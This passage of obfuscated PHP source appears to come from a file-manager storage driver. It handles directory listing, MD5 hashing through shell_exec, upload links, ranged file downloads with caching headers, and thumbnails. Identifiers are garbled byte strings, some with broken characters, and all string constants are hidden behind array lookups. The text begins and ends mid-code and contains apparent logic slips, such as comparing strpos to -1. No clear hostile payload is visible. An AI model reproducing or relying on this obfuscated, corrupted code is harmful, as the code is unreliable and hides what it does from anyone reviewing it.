$this->delFolder($ŸÙ©˜Š´); } public function rename($Óú¶ƒ¥¿, $ÜéÈòÔÅ) { } public function exist($×<>ú™•€) { } public function findByHash($üôëõŠ„ = '', $ì¡‹ÕÌ¥ = '') { return !1; } public function isFile($˜ —ëŒÎ) { } public function isFolder($ˆÇݤª) { } public function size($ÁÁ«è ö) { } public function info($Ú±¡€Îæ) { } public function infoSimple($‡¥—ÛÖÚ) { return $this->info($‡¥—ÛÖÚ); } public function infoAuth($•Í€¤ß›) { return $this->info($•Í€¤ß›); } public function infoFull($½Ð€ÖÆŒ) { return $this->info($½Ð€ÖÆŒ); } public function infoFullSimple($øðžýÇ<C3BD>) { return $this->info($øðžýÇ<C3BD>); } public function infoWithChildren($ò‡Â‰º©) { $šÒ¾¦ÜÛ =& $_SERVER[ˆ¡¹µ‹Â]; static $Ì¿õ¸Ö€ = array(); if (isset($Ì¿õ¸Ö€[$ò‡Â‰º©])) { return $Ì¿õ¸Ö€[$ò‡Â‰º©]; } $“ÂÖ·ù³ = $this->info($ò‡Â‰º©); if ($“ÂÖ·ù³ && $“ÂÖ·ù³[$šÒ¾¦ÜÛ[33]] == $šÒ¾¦ÜÛ[78]) { $àèÕÉ<C395>š = array($šÒ¾¦ÜÛ[79] => 0, $šÒ¾¦ÜÛ[80] => 0, $šÒ¾¦ÜÛ[81] => 0); $this->infoChildren($ò‡Â‰º©, $àèÕÉ<C395>š); $“ÂÖ·ù³[$šÒ¾¦ÜÛ[79]] = $àèÕÉ<C395>š[$šÒ¾¦ÜÛ[79]]; $“ÂÖ·ù³[$šÒ¾¦ÜÛ[82]] = array($šÒ¾¦ÜÛ[83] => $àèÕÉ<C395>š[$šÒ¾¦ÜÛ[80]], $šÒ¾¦ÜÛ[84] => $àèÕÉ<C395>š[$šÒ¾¦ÜÛ[81]]); $Ì¿õ¸Ö€[$ò‡Â‰º©] = $“ÂÖ·ù³; } return $“ÂÖ·ù³; } public function listPath($»«Úàúâ, $¼­²»¯ò = false) { } public function has($ÅèÚõÖ<C3B5>, $Ä¢ÚØ‰¯ = false, $Ñê±éþ¿ = false) { } public function canRead($¡˜Üô­ ) { } public function canWrite($¼ëÍÑÍÄ) { } public function getContent($ïú¶¬üâ) { } public function setContent($©‚§ãê‚, $—ž¹¥ÑÑ = '') { } protected function infoChildren($Õܲ<C39C>½Ò, &$ŽÝø°Äó) { $¸ñ€ÔŸð =& $_SERVER[ˆ¡¹µ‹Â]; check_abort_echo(); $çˆà¼Þ© = $this->listPath($Õܲ<C39C>½Ò, !0); $çˆà¼Þ© = array_merge($çˆà¼Þ©[$¸ñ€ÔŸð[85]], $çˆà¼Þ©[$¸ñ€ÔŸð[86]]); foreach ($çˆà¼Þ© as $’Úó¢å·) { if ($’Úó¢å·[$¸ñ€ÔŸð[33]] == $¸ñ€ÔŸð[78]) { $ŽÝø°Äó[$¸ñ€ÔŸð[81]]++; $¥Ñ†‚™¹ = $this->getPathInner($’Úó¢å·[$¸ñ€ÔŸð[87]]); $this->infoChildren($¥Ñ†‚™¹, $ŽÝø°Äó); } else { $ŽÝø°Äó[$¸ñ€ÔŸð[80]]++; $ŽÝø°Äó[$¸ñ€ÔŸð[79]] += $’Úó¢å·[$¸ñ€ÔŸð[79]]; } } } public function fileSubstr($ÇþíÈÌÛ, $ЇŒŒñÈ, $Ç×”ÄËè) { } public function listAll($é²™¶Å») { } public function listAllMake($ŤڔÂå, &$©ùÒ¾Æ) { $¿Ï§Ášà =& $_SERVER[ˆ¡¹µ‹Â]; check_abort_echo(); $„ªß°<C39F>û = $this->listPath($ŤڔÂå, !0); if (!$„ªß°<C39F>û) { return; } $àé‡ÈƧ = array_merge($„ªß°<C39F>û[$¿Ï§Ášà[85]], $„ªß°<C39F>û[$¿Ï§Ášà[86]]); foreach ($àé‡ÈƧ as $½¼ˆý‰Ù) { $²Ïؼ›º = $½¼ˆý‰Ù[$¿Ï§Ášà[33]] == $¿Ï§Ášà[78]; $¾ÐžÝÈý = array($¿Ï§Ášà[87] => $½¼ˆý‰Ù[$¿Ï§Ášà[87]], $¿Ï§Ášà[78] => $²Ïؼ›º); if (isset($½¼ˆý‰Ù[$¿Ï§Ášà[79]])) { $¾ÐžÝÈý[$¿Ï§Ášà[79]] = $½¼ˆý‰Ù[$¿Ï§Ášà[79]]; } if (isset($½¼ˆý‰Ù[$¿Ï§Ášà[88]])) { $¾ÐžÝÈý[$¿Ï§Ášà[88]] = $½¼ˆý‰Ù[$¿Ï§Ášà[88]]; } if (!$²Ïؼ›º) { $©ùÒ¾Æ[] = $¾ÐžÝÈý; continue; } $©ùÒ¾Æ[] = $¾ÐžÝÈý; $—ÚŠ…óÊ = $½¼ˆý‰Ù[$¿Ï§Ášà[87]]; $Ûã°›¸² = $this->pathDriver; if (substr($½¼ˆý‰Ù[$¿Ï§Ášà[87]], 0, strlen($Ûã°›¸²)) == $Ûã°›¸²) { $—ÚŠ…óÊ = substr($—ÚŠ…óÊ, strlen($Ûã°›¸²)); } $this->listAllMake($—ÚŠ…óÊ, $©ùÒ¾Æ); } } public function listAllSimple($‡ÞÞÈèÜ, $¨§ÄÃŒè = false) { $ÜÒÛ𜆠= $this->listAll($‡ÞÞÈèÜ); return $this->listAllSimpleMake($ÜÒÛðœ†, $this->getPathOuter($‡ÞÞÈèÜ), $¨§ÄÃŒè); } public function listAllSimpleMake($žëù™Õ¬, $öÐïñÅû, $øúâÌй) { $<24>ßÅŸŸ =& $_SERVER[ˆ¡¹µ‹Â]; $ç…º<E280A6>— = array(); $öÐïñÅû = rtrim(get_path_father($öÐïñÅû), $<24>ßÅŸŸ[8]) . $<24>ßÅŸŸ[8]; foreach ($žëù™Õ¬ as $”§¬Û™™) { $ÒåŠåˆª = array($<24>ßÅŸŸ[87] => $”§¬Û™™[$<24>ßÅŸŸ[87]], $<24>ßÅŸŸ[89] => $”§¬Û™™[$<24>ßÅŸŸ[87]], $<24>ßÅŸŸ[78] => $”§¬Û™™[$<24>ßÅŸŸ[78]]); if (isset($”§¬Û™™[$<24>ßÅŸŸ[79]]) && !$”§¬Û™™[$<24>ßÅŸŸ[78]]) { $ÒåŠåˆª[$<24>ßÅŸŸ[79]] = $”§¬Û™™[$<24>ßÅŸŸ[79]]; } if (isset($”§¬Û™™[$<24>ßÅŸŸ[88]])) { $ÒåŠåˆª[$<24>ßÅŸŸ[88]] = $”§¬Û™™[$<24>ßÅŸŸ[88]]; } if (is_array($”§¬Û™™[$<24>ßÅŸŸ[90]])) { $ÒåŠåˆª[$<24>ßÅŸŸ[89]] = $”§¬Û™™[$<24>ßÅŸŸ[90]][$<24>ßÅŸŸ[87]]; $ÒåŠåˆª[$<24>ßÅŸŸ[79]] = $”§¬Û™™[$<24>ßÅŸŸ[90]][$<24>ßÅŸŸ[79]]; $ÒåŠåˆª[$<24>ßÅŸŸ[88]] = $”§¬Û™™[$<24>ßÅŸŸ[90]][$<24>ßÅŸŸ[88]]; } else { if (substr($”§¬Û™™[$<24>ßÅŸŸ[87]], 0, strlen($öÐïñÅû)) == $öÐïñÅû) { $ÒåŠåˆª[$<24>ßÅŸŸ[87]] = substr($”§¬Û™™[$<24>ßÅŸŸ[87]], strlen($öÐïñÅû)); } } $ÈÒ½ß¸Ë = $”§¬Û™™[$<24>ßÅŸŸ[78]] ? $<24>ßÅŸŸ[8] : $<24>ßÅŸŸ[12]; $ÒåŠåˆª[$<24>ßÅŸŸ[89]] = rtrim($ÒåŠåˆª[$<24>ßÅŸŸ[89]], $<24>ßÅŸŸ[8]) . $Èҽ߸Ë; $ÒåŠåˆª[$<24>ßÅŸŸ[87]] = $<24>ßÅŸŸ[8] . trim($ÒåŠåˆª[$<24>ßÅŸŸ[87]], $<24>ßÅŸŸ[8]) . $Èҽ߸Ë; if (!$øúâÌй) { $ŽÔÛˆ½ = explode($<24>ßÅŸŸ[8], trim($ÒåŠåˆª[$<24>ßÅŸŸ[87]], $<24>ßÅŸŸ[8])); $ÒåŠåˆª[$<24>ßÅŸŸ[87]] = $<24>ßÅŸŸ[8] . implode($<24>ßÅŸŸ[8], array_slice($ŽÔÛˆ½, 1)) . $Èҽ߸Ë; } $ç…º<E280A6>—[] = $ÒåŠåˆª; } return array_sort_by($ç…º<E280A6>—, $<24>ßÅŸŸ[87]); } public function upload($¼µ½€ëË, $ö©ßõÐó, $<24>´þ¦ãÌ = false, $‡žæ“ùþ = REPEAT_REPLACE) { } public function uploadFileByID($÷ŠÇêö›, $ù§úƒÝö, $öµËƒÊ¥) { } public function uploadFileByPath($Ðø¼âÁ÷, $óíçÚˆ³, $í·¦Õëá = array()) { } public function isUploadServer() { $§<>îƒÎ¸ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $§<>îƒÎ¸[91]) { return !0; } return $GLOBALS[$§<>îƒÎ¸[6]][$§<>îƒÎ¸[92]][$§<>îƒÎ¸[93]]; } public function isFileOutServer() { $²­éâð‡ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $²­éâð‡[91]) { return !0; } return $GLOBALS[$²­éâð‡[6]][$²­éâð‡[92]][$²­éâð‡[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ôý ê›ª) { $±Ê†ÃΞ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->isCdnHost()) { return $ôý ê›ª; } return str_replace(trim(get_url_root($ôý ê›ª), $±Ê†ÃΞ[8]), trim($this->cdnHost, $±Ê†ÃΞ[8]), $ôý ê›ª); } public function uploadLink($Ó¢œË÷±, $ýš<C3BD>ö<EFBFBD>­ = 0) { $ÒÍ€þÖŒ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isUploadServer()) { return; } $ãÆ¹€“± = $this->getType(); if (!in_array($ãÆ¹€“±, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $™Å˜Èçñ = 1024 * 1024 * 10; $꾌ýϬ = $ýš<C3BD>ö<EFBFBD>­ <= $™Å˜Èçñ ? $ÒÍ€þÖŒ[95] : $ÒÍ€þÖŒ[96]; $÷ÏÕ¸—§ = (!$ýš<C3BD>ö<EFBFBD>­ ? 1 : ceil($ýš<C3BD>ö<EFBFBD>­ / pow(1024, 3))) * 3600 * 4; $Õ«€§¥ë = $this->{$꾌ýϬ}($Ó¢œË÷±, $÷ÏÕ¸—§); if ($Õ«€§¥ë) { $Õ«€§¥ë[$ÒÍ€þÖŒ[97]] = $Ó¢œË÷±; $Õ«€§¥ë[$ÒÍ€þÖŒ[98]] = $ãÆ¹€“±; } return $Õ«€§¥ë; } public function uploadFormData($¢Æ†‘¬æ, $º©®’Ï„ = 3600) { } public function multiUploadFormData($×ûÉÝ–ë, $±êÍŠ<E280BA> = 3600) { } public function download($³È“ݸù, $“é“ÜÎó) { } public function ext($ò¥§‚¥¾) { $ÔÅ‚ÛÍà =& $_SERVER[ˆ¡¹µ‹Â]; if (strpos($ò¥§‚¥¾, $ÔÅ‚ÛÍÃ[8]) === -1) { $ûõŒèƦ = $ò¥§‚¥¾; } else { $ûõŒèƦ = $this->pathThis($ò¥§‚¥¾); } $†<E280A0>îȹ = $ÔÅ‚ÛÍÃ[12]; if (strstr($ûõŒèƦ, $ÔÅ‚ÛÍÃ[10])) { $†<E280A0>îȹ = substr($ûõŒèƦ, strrpos($ûõŒèƦ, $ÔÅ‚ÛÍÃ[10]) + 1); $†<E280A0>îȹ = strtolower($†<E280A0>îȹ); } if (strlen($†<E280A0>îȹ) > 3 && preg_match($ÔÅ‚ÛÍÃ[99], $†<E280A0>îȹ, $ÃÜ<C383>±¬ü)) { $†<E280A0>îȹ = $ÔÅ‚ÛÍÃ[12]; } return $†<E280A0>îȹ; } public function pathThis($Éõ†Û¦ô) { $奯 =& $_SERVER[ˆ¡¹µ‹Â]; $Éõ†Û¦ô = str_replace($奯[100], $奯[8], rtrim($Éõ†Û¦ô, $奯[8])); $€ÙÜÙñÉ = strrpos($Éõ†Û¦ô, $奯[8]); if ($€ÙÜÙñÉ === !1) { return $Éõ†Û¦ô; } return substr($Éõ†Û¦ô, $€ÙÜÙñÉ + 1); } public function pathFather($ìסÝÔ¶) { $´ž<C2B4>”çó =& $_SERVER[ˆ¡¹µ‹Â]; $ìסÝÔ¶ = str_replace($´ž<C2B4>”çó[100], $´ž<C2B4>”çó[8], rtrim($ìסÝÔ¶, $´ž<C2B4>”çó[8])); $<24>Ù×¶ø = strrpos($ìסÝÔ¶, $´ž<C2B4>”çó[8]); if ($<24>Ù×¶ø === !1) { return $´ž<C2B4>”çó[12]; } return substr($ìסÝÔ¶, 0, $<24>Ù×¶ø + 1); } public function hashSimple($<24>Üšø»×) { $®„þ¿‘ò =& $_SERVER[ˆ¡¹µ‹Â]; if (!$<24>Üšø»×) { return md5($®„þ¿‘ò[12]); } $®ÖúäÓ™ = $this->size($<24>Üšø»×); $¿çö‚Ã÷ = 200; $Ê‚«¸ð¨ = 50; if ($®ÖúäÓ™ <= $¿çö‚Ã÷ * $Ê‚«¸ð¨) { return $this->hashMd5($<24>Üšø»×) . $®ÖúäÓ™; } $ãç<C3A3>Þé• = intval($®ÖúäÓ™ / $Ê‚«¸ð¨); $‰Ž¤<C5BD>ò = $®„þ¿‘ò[12]; for ($ͨݸöþ = 0; $ͨݸöþ < $Ê‚«¸ð¨; $ͨݸöþ++) { $‰Ž¤<C5BD>ò .= $this->fileSubstr($<24>Üšø»×, $ãç<C3A3>Þé• * $ͨݸöþ, $¿çö‚Ã÷); } $‰Ž¤<C5BD>ò .= $this->fileSubstr($<24>Üšø»×, $®ÖúäÓ™ - $¿çö‚Ã÷, $¿çö‚Ã÷); return md5($‰Ž¤<C5BD>ò) . $®ÖúäÓ™; } public static $md5Cache = array(); public function hashMd5($—ôɾͯ) { if (!$—ôɾͯ) { return md5($_SERVER[ˆ¡¹µ‹Â][12]); } $—ôɾͯ = $this->iconvSystem($—ôɾͯ); if (isset(self::$md5Cache[$—ôɾͯ])) { return self::$md5Cache[$—ôɾͯ]; } self::$md5Cache[$—ôɾͯ] = $this->hashMd5Shell($—ôɾͯ); if (!self::$md5Cache[$—ôɾͯ]) { self::$md5Cache[$—ôɾͯ] = @md5_file($—ôɾͯ); } return self::$md5Cache[$—ôɾͯ]; } private function hashMd5Shell($¢–õ˜È¯) { $£¨Á€×é =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¢–õ˜È¯) { return md5($£¨Á€×é[12]); } if (!function_exists($£¨Á€×é[101])) { return !1; } $©º„è®ï = array($£¨Á€×é[102], $£¨Á€×é[103]); $Ò•™–Öþ = Cache::get($£¨Á€×é[104]); if (!$Ò•™–Öþ) { $‰îÇšëò = BASIC_PATH . $£¨Á€×é[105]; $“ª˜äË = md5_file($‰îÇšëò); $Ò•™–Öþ = $£¨Á€×é[106]; foreach ($©º„è®ï as $ˆÄíÛâô) { $º›ž£Ê† = shell_exec($ˆÄíÛâô . "\x20\42{$‰îÇšëò}\42"); if ($º›ž£Ê† && substr(trim($º›ž£Ê†), 0, 32) == $“ª˜äË) { $Ò•™–Öþ = $ˆÄíÛâô; break; } } Cache::set($£¨Á€×é[104], $Ò•™–Öþ, 3600); } if ($Ò•™–Öþ == $£¨Á€×é[106]) { return !1; } $º›ž£Ê† = shell_exec($Ò•™–Öþ . "\x20\42{$¢–õ˜È¯}\x22"); $º›ž£Ê† = str_replace($£¨Á€×é[107], $£¨Á€×é[12], $º›ž£Ê†); return substr($º›ž£Ê†, 0, 32); } public function link($<24>ëžšÄ) { return $<24>ëžšÄ; } public function fileOut($ <>æÒ…ô, $ÁوūÀ = false, $ô<>ÅÈÀ<C388> = false, $À‘™ß…Î = '') { $´ªñ¡ÒÓ =& $_SERVER[ˆ¡¹µ‹Â]; $this->cacheMethod(null, null); if (!$ <>æÒ…ô || !$this->exist($ <>æÒ…ô)) { show_json(LNG($´ªñ¡ÒÓ[108]), !1, $ô<>ÅÈÀ<C388>); } $Ç™›®ï© = $this->getType() == $´ªñ¡ÒÓ[109]; $îÃЇªí = $GLOBALS[$´ªñ¡ÒÓ[6]][$´ªñ¡ÒÓ[92]][$´ªñ¡ÒÓ[110]][$´ªñ¡ÒÓ[111]]; $ý€âš¡« = (double) $GLOBALS[$´ªñ¡ÒÓ[6]][$´ªñ¡ÒÓ[92]][$´ªñ¡ÒÓ[110]][$´ªñ¡ÒÓ[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ñâò㘮 = $this->infoFull($ <>æÒ…ô); $º¿©°¬» = $ñâò㘮[$´ªñ¡ÒÓ[79]]; $‡À²ßÁ­ = gmdate($´ªñ¡ÒÓ[113], $ñâò㘮[$´ªñ¡ÒÓ[88]]); $˜žæ’·Ã = $ô<>ÅÈÀ<C388> ? $ô<>ÅÈÀ<C388> : $this->iconvApp($ñâò㘮[$´ªñ¡ÒÓ[32]]); $š—¨Ÿýý = 0; $ý© ½Óœ = $º¿©°¬» - 1; $Ôí¡¯˜û = $this->ext($˜žæ’·Ã); if (in_array($Ôí¡¯˜û, array($´ªñ¡ÒÓ[114], $´ªñ¡ÒÓ[115], $´ªñ¡ÒÓ[116], $´ªñ¡ÒÓ[117]))) { $Ôí¡¯˜û = $´ªñ¡ÒÓ[118]; } if (in_array($Ôí¡¯˜û, array($´ªñ¡ÒÓ[119]))) { $Ôí¡¯˜û = $´ªñ¡ÒÓ[120]; } if (!$À‘™ß…Î) { $À‘™ß…Î = md5($‡À²ßÁ­ . $º¿©°¬»); } $À‘™ß…Î = $´ªñ¡ÒÓ[121] . $À‘™ß…Î . $´ªñ¡ÒÓ[121]; $´Ë̫ߒ = get_file_mime($Ôí¡¯˜û); $ñô‚ÕÐ = !0; $ñô‚ÕÐ = isset($_GET[$´ªñ¡ÒÓ[122]]) ? !1 : !0; if ($ÁوūÀ === !1 && !mime_support($´Ë̫ߒ)) { $´Ë̫ߒ = $´ªñ¡ÒÓ[123]; } header($´ªñ¡ÒÓ[124]); header($´ªñ¡ÒÓ[125] . $´Ë̫ߒ); $®„Ëàöº = rawurlencode($˜žæ’·Ã); $®„Ëàöº = $´ªñ¡ÒÓ[121] . $®„Ëàöº . $´ªñ¡ÒÓ[126] . $®„Ëàöº; if ($ÁوūÀ) { header($´ªñ¡ÒÓ[127]); header($´ªñ¡ÒÓ[128] . $®„Ëàöº); } else { if ($ñô‚ÕÐ) { header($´ªñ¡ÒÓ[129] . $®„Ëàöº); } } $ÀÀåãÉŽ = 3600 * 24 * 30; header($´ªñ¡ÒÓ[130]); header($´ªñ¡ÒÓ[131]); header($´ªñ¡ÒÓ[132] . $ÀÀåãÉŽ); header($´ªñ¡ÒÓ[133] . gmdate($´ªñ¡ÒÓ[113], time() + $ÀÀåãÉŽ) . $´ªñ¡ÒÓ[134]); if (isset($_SERVER[$´ªñ¡ÒÓ[135]]) && strtotime($_SERVER[$´ªñ¡ÒÓ[135]]) == $ñâò㘮[$´ªñ¡ÒÓ[88]]) { header($´ªñ¡ÒÓ[136], !0, 304); die; } if (isset($_SERVER[$´ªñ¡ÒÓ[137]]) && $_SERVER[$´ªñ¡ÒÓ[137]] == $À‘™ß…Î) { header($´ªñ¡ÒÓ[138] . $À‘™ß…Î, !0, 304); die; } header($´ªñ¡ÒÓ[138] . $À‘™ß…Î); header($´ªñ¡ÒÓ[139] . $‡À²ßÁ­ . $´ªñ¡ÒÓ[134]); header($´ªñ¡ÒÓ[140] . $˜žæ’·Ã); header($´ªñ¡ÒÓ[141]); header($´ªñ¡ÒÓ[142] . $º¿©°¬»); header($´ªñ¡ÒÓ[143]); Hook::trigger($´ªñ¡ÒÓ[144], $ <>æÒ…ô, $º¿©°¬», $˜žæ’·Ã, $Ôí¡¯˜û); if (!$ÁوūÀ && $Ôí¡¯˜û == $´ªñ¡ÒÓ[145]) { if ($º¿©°¬» > 1024 * 1024 * 5) { die; } $òûìóΧ = $this->getContent($ <>æÒ…ô); $òûìóΧ = Html::clearSVG($òûìóΧ); header($´ªñ¡ÒÓ[146] . strlen($òûìóΧ)); echo $òûìóΧ; die; } $Šö²Êó§ = strtolower($_SERVER[$´ªñ¡ÒÓ[147]]); if ($Ç™›®ï© && $Šö²Êó§ && $îÃЇªí) { if (strstr($Šö²Êó§, $´ªñ¡ÒÓ[148])) { header($´ªñ¡ÒÓ[149] . $ <>æÒ…ô); } else { if (strstr($Šö²Êó§, $´ªñ¡ÒÓ[150])) { header($´ªñ¡ÒÓ[151] . $ <>æÒ…ô); } else { if (strstr($Šö²Êó§, $´ªñ¡ÒÓ[152])) { header($´ªñ¡ÒÓ[153] . $ <>æÒ…ô); } } } if ($ý€âš¡«) { header($´ªñ¡ÒÓ[154] . $ý€âš¡«); } return; } if (isset($_SERVER[$´ªñ¡ÒÓ[155]])) { if (preg_match($´ªñ¡ÒÓ[156], $_SERVER[$´ªñ¡ÒÓ[155]], $¦ñûõ³<C3B5>)) { $š—¨Ÿýý = intval($¦ñûõ³<C3B5>[1]); $š—¨Ÿýý = $š—¨Ÿýý <= 0 ? 0 : ($š—¨Ÿýý >= $ý© ½Óœ ? $ý© ½Óœ : $š—¨Ÿýý); if (!empty($¦ñûõ³<C3B5>[2])) { $Žù ¾š´ = intval($¦ñûõ³<C3B5>[2]); $ý© ½Óœ = $Žù ¾š´ < $š—¨Ÿýý ? $š—¨Ÿýý : ($Žù ¾š´ >= $ý© ½Óœ ? $ý© ½Óœ : $Žù ¾š´); } } header($´ªñ¡ÒÓ[157]); header("\103\157\156\164\145\156\x74\x2d\x52\141\156\147\x65\x3a\x20\x62\171\x74\145\163\40{$š—¨Ÿýý}\55{$ý© ½Óœ}\57" . $º¿©°¬»); } else { header($´ªñ¡ÒÓ[158]); } header($´ªñ¡ÒÓ[159]); header($´ªñ¡ÒÓ[160]); $ÚÁ۾Ƌ = !0; if ($_SERVER[$´ªñ¡ÒÓ[161]] == $´ªñ¡ÒÓ[162] && $º¿©°¬» > 1204 * 1024 * 1024 * 2) { $ÚÁ۾Ƌ = !1; } if ($ÚÁ۾Ƌ) { header($´ªñ¡ÒÓ[163] . ($ý© ½Óœ - $š—¨Ÿýý + 1)); } if ($_SERVER[$´ªñ¡ÒÓ[164]] == $´ªñ¡ÒÓ[165]) { return; } $ùõÜŸ²­ = array($´ªñ¡ÒÓ[166] => !1, $´ªñ¡ÒÓ[167] => $š—¨Ÿýý, $´ªñ¡ÒÓ[168] => $ý© ½Óœ, $´ªñ¡ÒÓ[169] => $Ôí¡¯˜û, $´ªñ¡ÒÓ[170] => $ñâò㘮, $´ªñ¡ÒÓ[171] => $´ªñ¡ÒÓ[12], $´ªñ¡ÒÓ[172] => 0); $ùõÜŸ²­ = Hook::filter($´ªñ¡ÒÓ[173], $ùõÜŸ²­); $œŸ¦°âï = 1024 * 300; $ÅÌÌΆâ = 0; if ($ý€âš¡«) { $ÅÌÌΆâ = intval(1000 * 1000 * ($œŸ¦°âï / $ý€âš¡«)); } while ($š—¨Ÿýý <= $ý© ½Óœ) { $óÝà…¥• = timeFloat(); check_abort(); $“ùÅÇÆÅ = $ý© ½Óœ - $š—¨Ÿýý + 1; if ($“ùÅÇÆÅ <= $œŸ¦°âï) { $œŸ¦°âï = $“ùÅÇÆÅ; } $òûìóΧ = $this->fileSubstr($ <>æÒ…ô, $š—¨Ÿýý, $œŸ¦°âï); if ($ùõÜŸ²­[$´ªñ¡ÒÓ[166]]) { $ùõÜŸ²­[$´ªñ¡ÒÓ[171]] = $òûìóΧ; $ùõÜŸ²­[$´ªñ¡ÒÓ[172]] = $š—¨Ÿýý; $ùõÜŸ²­ = Hook::filter($´ªñ¡ÒÓ[174], $ùõÜŸ²­); $òûìóΧ = $ùõÜŸ²­[$´ªñ¡ÒÓ[171]]; } echo $òûìóΧ; $š—¨Ÿýý += $œŸ¦°âï; if ($œŸ¦°âï == $“ùÅÇÆÅ) { $š—¨Ÿýý = $ý© ½Óœ + 1; } if ($ÅÌÌΆâ) { $õ‚Ÿ–‡ù = intval(1000 * 1000 * (timeFloat() - $óÝà…¥•)); $úŸÔõÕú = $ÅÌÌΆâ - $õ‚Ÿ–‡ù; if ($úŸÔõÕú > 5) { usleep($úŸÔõÕú); } } } } public function fileOutServer($’¦»¸á¥, $™øýØ›¿ = false, $<24>ÝÎõµ = false, $³×´â¯– = '') { $this->fileOut($’¦»¸á¥, $™øýØ›¿, $<24>ÝÎõµ, $³×´â¯–); } public function fileOutLink($ãšÃ°Å„) { header($_SERVER[ˆ¡¹µ‹Â][175] . $ãšÃ°Å„); die; } public function cacheMethod($Õº©ëãÇ, $âÅ»¹†¾, $éêÛæñ” = null) { $¹Ÿö —Ë =& $_SERVER[ˆ¡¹µ‹Â]; static $³±œ¸ãÀ = array(); $Ö–È¿ƒ“ = $âÅ»¹†¾ ? ltrim($this->getPathOuter($âÅ»¹†¾), $¹Ÿö —Ë[8]) : $¹Ÿö —Ë[12]; $­‡æÓÚ‚ = $¹Ÿö —Ë[176] . $Õº©ëãÇ . $¹Ÿö —Ë[177] . rtrim($Ö–È¿ƒ“, $¹Ÿö —Ë[8]); if (is_null($Õº©ëãÇ)) { $³±œ¸ãÀ = array(); return; } if (is_null($âÅ»¹†¾)) { foreach ($³±œ¸ãÀ as $­‡æÓÚ‚ => $©ú­øê¦) { if (!strstr($­‡æÓÚ‚, $¹Ÿö —Ë[176] . $Õº©ëãÇ . $¹Ÿö —Ë[178])) { continue; } unset($³±œ¸ãÀ[$­‡æÓÚ‚]); } return; } if (!is_null($éêÛæñ”)) { $³±œ¸ãÀ[$­‡æÓÚ‚] = $éêÛæñ”; return; } $ø½ÜÝ›Á = isset($³±œ¸ãÀ[$­‡æÓÚ‚]) ? $³±œ¸ãÀ[$­‡æÓÚ‚] : null; if (!is_null($ø½ÜÝ›Á)) { return $ø½ÜÝ›Á; } $ø½ÜÝ›Á = $this->{$Õº©ëãÇ}($âÅ»¹†¾); $³±œ¸ãÀ[$­‡æÓÚ‚] = $ø½ÜÝ›Á; return $ø½ÜÝ›Á; } public function cacheMethodInfoSet($àÆ¶¯§ò, $…´<E280A6>ÐÖ, $¼àïÙÉé = false) { $žž«µ¸° =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($žž«µ¸°[179], $àÆ¶¯§ò, $…´<E280A6>ÐÖ); $this->cacheMethod($žž«µ¸°[180], $àÆ¶¯§ò, $…´<E280A6>ÐÖ ? !1 : !0); if (is_array($¼àïÙÉé)) { $this->cacheMethod($žž«µ¸°[181], $àÆ¶¯§ò, $¼àïÙÉé); } } public function fileOutImage($›Ž³¤Üí, $õئïçó = 250) { $¹<>±ÈŒ¼ =& $_SERVER[ˆ¡¹µ‹Â]; set_timeout(); if (substr($›Ž³¤Üí, 0, 4) == $¹<>±ÈŒ¼[152]) { $this->fileOutLink($›Ž³¤Üí); } $‹¡¢ÙÃÇ = $this->info($›Ž³¤Üí); $ІÁ«¥· = !1; $ûë¼¾ûò = isset($GLOBALS[$¹<>±ÈŒ¼[182]]) ? $GLOBALS[$¹<>±ÈŒ¼[182]] : array(); if ($ûë¼¾ûò && $ûë¼¾ûò[$¹<>±ÈŒ¼[183]] == $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[87]]) { $‹¡¢ÙÃÇ = $ûë¼¾ûò; $Òþ̵ôÖ = $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[184]]; if ($Òþ̵ôÖ && isset($Òþ̵ôÖ[$¹<>±ÈŒ¼[185]])) { if ($Òþ̵ôÖ[$¹<>±ÈŒ¼[185]] <= $õئïçó && $Òþ̵ôÖ[$¹<>±ÈŒ¼[186]] <= $õئïçó) { $ІÁ«¥· = !0; } } } if ($‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[79]] <= 1024 * 50 || $ІÁ«¥· || !function_exists($¹<>±ÈŒ¼[187]) || $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[169]] == $¹<>±ÈŒ¼[188]) { return $this->fileOut($›Ž³¤Üí, !1, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); } $ÏÒÇßÌ¢ = kodIO::hashPath($‹¡¢ÙÃÇ); $¬ŸÕžÓî = "\x63\157\166\x65\x72\x5f{$ÏÒÇßÌ¢}\137{$õئïçó}\x2e\x70\x6e\147"; $Ï⹩ªâ = IO_PATH_SYSTEM_TEMP . $¹<>±ÈŒ¼[189]; $‡Ž€ËŽì = IO::infoFullSimple($Ï⹩ªâ); $ƒç’êú° = $‡Ž€ËŽì && is_array($‡Ž€ËŽì) ? $‡Ž€ËŽì[$¹<>±ÈŒ¼[87]] : $¹<>±ÈŒ¼[12]; if (!$ƒç’êú°) { $ƒç’êú° = IO::mkdir($Ï⹩ªâ); } if ($‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[190]] == $¹<>±ÈŒ¼[191] && isset($‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[192]]) && $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[192]] == kodIO::sourceID($ƒç’êú°)) { $Ø­üÐ⦠= $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[193]]; if ($õئïçó <= 500) { $å•“§¯© = preg_replace($¹<>±ÈŒ¼[194], $¹<>±ÈŒ¼[195], $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); $Ø­üÐ⦠= IO::fileNameExist($ƒç’êú°, $å•“§¯©); } return IO::fileOut(KodIO::make($Ø­üÐâ¦), !1, $‹¡¢ÙÃÇ[$¹<>±ÈŒ¼[32]]); } $¹¤úÉߪ = IO::fileNameExist($ƒç’êú°, $¬ŸÕžÓî); if 